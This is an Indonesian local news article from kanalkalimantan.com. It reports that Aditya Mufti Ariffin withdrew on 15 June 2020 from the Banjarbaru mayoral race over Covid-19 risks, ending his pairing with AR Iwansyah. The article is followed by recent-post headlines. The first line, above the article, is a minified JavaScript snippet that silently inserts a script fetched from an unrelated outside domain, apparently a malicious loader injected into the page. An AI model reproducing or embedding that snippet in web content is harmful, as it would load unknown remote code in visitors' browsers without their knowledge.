(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilkada Banjarbaru

Langkah Aditya Pijak Balai Kota Banjarbaru (2): Covid-19 Merebak, hingga ‘Pesta Terakhir’ Bersama Iwansyah


KANALKALIMANTAN.COM, BANJARBARU – Terbentuknya duet Aditya Mufti Ariffin-AR Iwansyah yang mendapat sokongan gerbong koalisi Partai Golkar dan PPP, nyatanya tak seperti mimpi indah yang dibayangkan. Meski perjalanan pasangan ini dalam menghimpun kekuatan dukungan dari berbagai macam partai politik, terbilang solid. Merebaknya pandemi Covid-19 di tengah dinamika politik saat itu, tanpa disadari memunculkan keretakan di kubu internal mereka.

Bukan karena elektabilitas duet ini yang tak kunjung meningkat. Melainkan kekhawatiran Aditya yang menilai bahwa penyelenggaran Pilkada terlalu beresiko di saat wabah virus corona tengah mengancam keselamatan masyarakat.

Tepat pada 15 Juni 2020, Aditya didampingi tim mengumumkan pengunduran dirinya dari gelanggang Pilkada Banjarbaru. Menurut Aditya, penyelengaraan Pilkada di tengah pandemi sangat tidak efektif. Para kandidat, termasuk dirinya tidak bisa maksimal menyampaikan visi dan misi kepada masyarakat sebagai pemilih.

“Di tengah pandemi seperti ini, kita pasti kesulitan dalam memberikan edukasi-edukasi penting terkait penyelenggaraan Pilkada, seperti dalam melaksanakan pembekalan atau pelatihan saksi kami nantinya di TPS,” ujarnya.

 

Secara anggaran, lanjutnya, juga akan sangat membebani karena harus menambahkan biaya APD dan protokol kesehatan. Sehingga, tandasnya, akan lebih bijak anggaran yang sangat besar itu difokuskan dulu dalam penanganan Covid-19 dan membantu masyarakat terdampak.

“Banyak masyarakat yang kena PHK, perusahaan tutup, pendapatan jauh berkurang. Itu yang seharusnya lebih kita utamakan, bukan memaksakan Pilkada di tengah pandemi,” dalihnya saat itu.

Sejak saat itu, duet Aditya – Iwansyah telah dinyatakan kandas. Surat Keputusan (SK) rekomendasi dukungan yang telah dikeluarkan sejumlah partai politik terhadap mereka, hanya menjadi tumpukan surat yang menantikan kehadiran kandidat baru yang akan meramaikan pesta demokrasi di Kota Idaman. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

Al Ghifari

Recent Posts

Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

KANALKALIMANTAN.COM, BANJARBARU - Jelang pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

3 jam ago

Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Aksi amoral diduga dilakukan seorang lelaki warga Kabupaten Banjar melakukan perbuatan tak… Read More

3 jam ago

Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

KANALKALIMANTAN.COM, BANJARMASIN - Pelaksana Tugas (Plt) Kepala Dinas PUPR Kalsel, M Yasin Toyib mendampingi Wakil… Read More

5 jam ago

Modus Sewa Motor di Banjarbaru, Sigit ‘Larikan’ Yamaha NMAX hingga Sampit

KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki berusia 36 tahun diringkus polisi setelah ‘larikan’ sebuah sepeda motor… Read More

6 jam ago

Muscab ke-VII IBI HSU, Ini Kata Wabup Hero Setiawan

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan menilai peran strategis… Read More

6 jam ago

Banjar Preneur Fest Digelar di Q Mall Selama Dua Hari

KANALKALIMANTAN.COM, MARTAPURA -  Wakil Bupati Banjar Habib Idrus Al Habsyi menyampaikan apresiasi yang setinggi-tingginya kepada… Read More

20 jam ago

This website uses cookies.